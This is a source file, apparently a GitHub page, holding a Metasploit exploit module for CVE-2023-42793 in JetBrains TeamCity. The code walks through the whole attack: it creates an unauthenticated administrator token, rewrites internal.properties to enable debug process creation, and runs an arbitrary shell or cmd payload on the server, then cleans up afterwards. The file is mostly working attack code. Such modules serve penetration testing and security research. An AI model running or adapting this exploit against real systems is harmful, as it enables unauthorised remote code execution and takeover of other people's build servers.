/
jetbrains_teamcity_rce_cve_2023_42793.rb
247 lines (210 loc) · 8.57 KB
/
jetbrains_teamcity_rce_cve_2023_42793.rb
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Retry
prepend Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(
update_info(
info,
'Name' => 'JetBrains TeamCity Unauthenticated Remote Code Execution',
'Description' => %q{
This module exploits an authentication bypass vulnerability to achieve unauthenticated remote code execution
against a vulnerable JetBrains TeamCity server. All versions of TeamCity prior to version 2023.05.4 are
vulnerable to this issue. The vulnerability was originally discovered by SonarSource.
},
'License' => MSF_LICENSE,
'Author' => [
'sfewer-r7', # MSF Exploit & Rapid7 Analysis
],
'References' => [
['CVE', '2023-42793'],
['URL', 'https://attackerkb.com/topics/1XEEEkGHzt/cve-2023-42793/rapid7-analysis'],
['URL', 'https://blog.jetbrains.com/teamcity/2023/09/critical-security-issue-affecting-teamcity-on-premises-update-to-2023-05-4-now/']
],
'DisclosureDate' => '2023-09-19',
'Platform' => %w[win linux],
'Arch' => [ARCH_CMD],
'Payload' => { 'Space' => 1024 },
'Privileged' => false, # TeamCity may be installed to run as local system/root, or it may be run as a custom user account.
'Targets' => [
[
'Windows',
{
'Platform' => 'win'
}
],
[
'Linux',
{
'Platform' => 'linux'
}
]
],
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS]
}
)
)
register_options(
[
# By default TeamCity listens for HTTP requests on TCP port 8111.
Opt::RPORT(8111),
# The first user created during installation is an administrator account, so the ID will be 1.
OptInt.new('TEAMCITY_ADMIN_ID', [true, 'The ID of an administrator account to authenticate as', 1]),
# We modify a configuration file, we need to wait for the changes to be picked up. These options govern how we wait.
OptInt.new('TEAMCITY_CHANGE_TIMEOUT', [true, 'The timeout to wait for the changes to be applied', 30])
]
)
end
def check
res = send_request_cgi(
'method' => 'GET',
'uri' => '/login.html'
)
return CheckCode::Unknown('Connection failed') unless res
# We expect a TeamCity server to respond with either a "TeamCity-Node-Id" header value or a cookie named "TCSESSIONID".
# In the responses HTML body will be a string containing the release name and build version.
if (res.headers.key?('TeamCity-Node-Id') || res.get_cookies.include?('TCSESSIONID')) && (res.body =~ /(\d+\.\d+\.\d+) \(build (\d+)\)/)
detected = "JetBrains TeamCity #{::Regexp.last_match(1)} (build #{::Regexp.last_match(2)}) detected."
# The vulnerability was patched in release 2023.05.4 (build 129421) so anything before this build is vulnerable.
if ::Regexp.last_match(2).to_i < 129421
return CheckCode::Vulnerable(detected)
end
return CheckCode::Safe(detected)
end
CheckCode::Unknown
end
def exploit
token_uri = "/app/rest/users/id:#{datastore['TEAMCITY_ADMIN_ID']}/tokens/RPC2"
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(token_uri)
)
# A token named 'RPC2' may already exist if this system has been exploited before and previous exploitation
# did not delete teh token after use. We detect that here, delete the token (as we dont know its value) if required
# and then proceed to create a new token for our use.
if res && (res.code == 400) && res.body.include?('Token already exists')
print_status('Token already exists, deleting and generating a new one.')
unless delete_token(token_uri)
fail_with(Failure::UnexpectedReply, 'Failed to delete the authentication token.')
end
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(token_uri)
)
end
unless res&.code == 200
# One reason token creation may fail is if we use a user ID for a user that does not exist. We detect that here
# and instruct the user to choose a new ID via the TEAMCITY_ADMIN_ID option.
if res && (res.code == 404) && res.body.include?('User not found')
print_warning('User not found, try setting the TEAMCITY_ADMIN_ID option to a different ID.')
end
fail_with(Failure::UnexpectedReply, 'Failed to create an authentication token.')
end
begin
token = Nokogiri::XML(res.body).xpath('/token')&.attr('value').to_s
print_status("Created authentication token: #{token}")
print_status('Modifying internal.properties to allow process creation...')
unless modify_internal_properties(token, 'rest.debug.processes.enable', 'true')
fail_with(Failure::UnexpectedReply, 'Failed to modify the internal.properties config file.')
end
begin
print_status('Executing payload...')
vars_get = {}
# We need to supply multiple params with the same name, so the TeamCity server (A Java Spring framework) can
# construct a List<String> sequence for multiple parameters. We can do this be enabling `compare_by_identity`
# in the Ruby Hash.
vars_get.compare_by_identity
case target['Platform']
when 'win'
vars_get['exePath'] = 'cmd.exe'
vars_get['params'] = '/c'
vars_get['params'] = payload.encoded
when 'linux'
vars_get['exePath'] = '/bin/sh'
vars_get['params'] = '-c'
vars_get['params'] = payload.encoded
end
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri('/app/rest/debug/processes'),
'uri_encode_mode' => 'hex-all', # we must encode all characters in the query param for the payload to work.
'headers' => {
'Authorization' => "Bearer #{token}",
'Content-Type' => 'text/plain'
},
'vars_get' => vars_get
)
unless res&.code == 200
fail_with(Failure::UnexpectedReply, 'Failed to execute arbitrary process.')
end
ensure
print_status('Resetting the internal.properties settings...')
unless modify_internal_properties(token, 'rest.debug.processes.enable', nil)
fail_with(Failure::UnexpectedReply, 'Failed to modify the internal.properties config file.')
end
end
ensure
print_status('Deleting the authentication token.')
unless delete_token(token_uri)
fail_with(Failure::UnexpectedReply, 'Failed to delete the authentication token.')
end
end
end
def delete_token(token_uri)
res = send_request_cgi(
'method' => 'DELETE',
'uri' => normalize_uri(token_uri),
'headers' => {
'Connection' => 'close'
}
)
res&.code == 204
end
def modify_internal_properties(token, key, value)
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri('/admin/dataDir.html'),
'headers' => {
'Authorization' => "Bearer #{token}"
},
'vars_get' => {
'action' => 'edit',
'fileName' => 'config/internal.properties',
'content' => value ? "#{key}=#{value}" : ''
}
)
unless res&.code == 200
# If we are using an authentication for a non admin user, we cannot modify the internal.properties file. The
# server will return a 302 redirect if this is the case. Choose a different TEAMCITY_ADMIN_ID and try again.
if res&.code == 302
print_warning('This user is not an administrator, try setting the TEAMCITY_ADMIN_ID option to a different ID.')
end
return false
end
print_status('Waiting for configuration change to be applied...')
retry_until_truthy(timeout: datastore['TEAMCITY_CHANGE_TIMEOUT']) do
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri('/admin/admin.html'),
'headers' => {
'Authorization' => "Bearer #{token}",
'Accept' => '*/*'
},
'vars_get' => {
'item' => 'diagnostics',
'tab' => 'properties'
}
)
res&.code == 200 && res.body.include?(key)
end
end
end